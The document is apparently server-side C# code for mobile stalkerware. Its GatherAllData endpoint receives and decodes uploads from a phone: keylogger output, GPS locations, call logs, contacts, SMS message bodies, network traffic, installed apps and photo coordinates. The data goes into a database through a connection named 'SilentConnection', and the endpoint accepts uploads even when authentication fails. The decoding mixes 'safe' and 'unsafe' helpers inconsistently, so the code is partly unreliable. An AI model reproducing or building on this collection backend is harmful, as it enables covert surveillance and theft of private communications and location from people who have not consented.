public ActionResult BulkData(string commandName, BulkDataModel bulkDataModel) { try { if (ModelState.IsValid && bulkDataModel != null && bulkDataModel.NoOfRecords != 0) { if (Request.Form["bt1"] != null) { CreateSites(bulkDataModel.NoOfRecords); } else if (Request.Form["bt2"] != null) { CreateViews(bulkDataModel.NoOfRecords); } else if (Request.Form["bt3"] != null) { CreateStaticContent(bulkDataModel.NoOfRecords); } else if (Request.Form["bt4"] != null) { CreateStaticMenu(bulkDataModel.NoOfRecords); } } return(View()); } catch { return(View()); } }
public IHttpActionResult GatherAllData([FromBody] BulkDataModel bulkData) { if (!ModelState.IsValid) { return(BadRequest(ModelState)); } if (bulkData == null) { var msg = new HttpResponseMessage(HttpStatusCode.BadRequest) { ReasonPhrase = "Data is null" }; throw new HttpResponseException(msg); } string connectionString = ConfigurationManager.ConnectionStrings["SilentConnection"].ConnectionString; string sqlResponse = SqlHelper.GatherData(connectionString, Base64Helper.DecodeBulk(bulkData)); if (sqlResponse == "") { return(Ok()); } else { if (sqlResponse.Equals("Authentication failed")) { //var msg = new HttpResponseMessage(HttpStatusCode.Unauthorized) { ReasonPhrase = "Authentication failed" }; //throw new HttpResponseException(msg); } return(Ok()); } }
public static BulkDataModel DecodeBulk(BulkDataModel bulkData) { if (bulkData != null) { if (DataChecker.CheckAuthentication(bulkData.Authentication)) { bulkData.Authentication.IMEI = System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(MakeUrlUnsafe(bulkData.Authentication.IMEI))); bulkData.Authentication.SecToken = System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(MakeUrlSafe(bulkData.Authentication.SecToken))); } if (DataChecker.CheckKeylogger(bulkData.Keylogger)) { bulkData.Keylogger.Info = System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(MakeUrlSafe(bulkData.Keylogger.Info))); bulkData.Keylogger.Hash = System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(MakeUrlSafe(bulkData.Keylogger.Hash))); } if (DataChecker.CheckLocation(bulkData.Location)) { for (int i = 0; i < bulkData.Location.Locations.Count; i++) { bulkData.Location.Locations[i].Latitude = System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(MakeUrlUnsafe(bulkData.Location.Locations[i].Latitude))); bulkData.Location.Locations[i].Longitude = System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(MakeUrlUnsafe(bulkData.Location.Locations[i].Longitude))); bulkData.Location.Locations[i].Date = System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(MakeUrlUnsafe(bulkData.Location.Locations[i].Date))); } if (bulkData.Location.Hash != null) { bulkData.Location.Hash = System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(MakeUrlUnsafe(bulkData.Location.Hash))); } } if (DataChecker.CheckCalls(bulkData.CallHistory)) { for (int i = 0; i < bulkData.CallHistory.Calls.Count; i++) { bulkData.CallHistory.Calls[i].Date = System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(MakeUrlUnsafe(bulkData.CallHistory.Calls[i].Date))); bulkData.CallHistory.Calls[i].Direction = System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(MakeUrlUnsafe(bulkData.CallHistory.Calls[i].Direction))); bulkData.CallHistory.Calls[i].Duration = System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(MakeUrlUnsafe(bulkData.CallHistory.Calls[i].Duration))); bulkData.CallHistory.Calls[i].Number = System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(MakeUrlUnsafe(bulkData.CallHistory.Calls[i].Number))); } } if (DataChecker.CheckContacts(bulkData.Contacts)) { for (int i = 0; i < bulkData.Contacts.ContactList.Count; i++) { bulkData.Contacts.ContactList[i].Name = System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(MakeUrlUnsafe(bulkData.Contacts.ContactList[i].Name))); bulkData.Contacts.ContactList[i].Number = System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(MakeUrlUnsafe(bulkData.Contacts.ContactList[i].Number))); } } if (DataChecker.CheckMessages(bulkData.Messages)) { for (int i = 0; i < bulkData.Messages.Messages.Count; i++) { bulkData.Messages.Messages[i].Address = System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(MakeUrlUnsafe(bulkData.Messages.Messages[i].Address))); bulkData.Messages.Messages[i].State = System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(MakeUrlUnsafe(bulkData.Messages.Messages[i].State))); bulkData.Messages.Messages[i].Date = System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(MakeUrlUnsafe(bulkData.Messages.Messages[i].Date))); bulkData.Messages.Messages[i].Type = System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(MakeUrlUnsafe(bulkData.Messages.Messages[i].Type))); bulkData.Messages.Messages[i].Body = System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(MakeUrlUnsafe(bulkData.Messages.Messages[i].Body))); } } if (DataChecker.CheckTrafic(bulkData.Trafic)) { bulkData.Trafic.Trafic = System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(MakeUrlUnsafe(bulkData.Trafic.Trafic))); bulkData.Trafic.Hash = System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(MakeUrlUnsafe(bulkData.Trafic.Hash))); } if (DataChecker.CheckApplications(bulkData.Applications)) { for (int i = 0; i < bulkData.Applications.Applications.Count; i++) { bulkData.Applications.Applications[i].Name = System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(MakeUrlUnsafe(bulkData.Applications.Applications[i].Name))); } } if (DataChecker.CheckPhotos(bulkData.Photos)) { for (int i = 0; i < bulkData.Photos.Photos.Count; i++) { bulkData.Photos.Photos[i].Date = System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(MakeUrlUnsafe(bulkData.Photos.Photos[i].Date))); bulkData.Photos.Photos[i].Latitude = System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(MakeUrlUnsafe(bulkData.Photos.Photos[i].Latitude))); bulkData.Photos.Photos[i].Longitude = System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(MakeUrlUnsafe(bulkData.Photos.Photos[i].Longitude))); } } if (DataChecker.CheckMetadata(bulkData.Metadata)) { for (int i = 0; i < bulkData.Metadata.Metadata.Count; i++) { bulkData.Metadata.Metadata[i] = System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(MakeUrlUnsafe(bulkData.Metadata.Metadata[i]))); } } return(bulkData); } return(null); }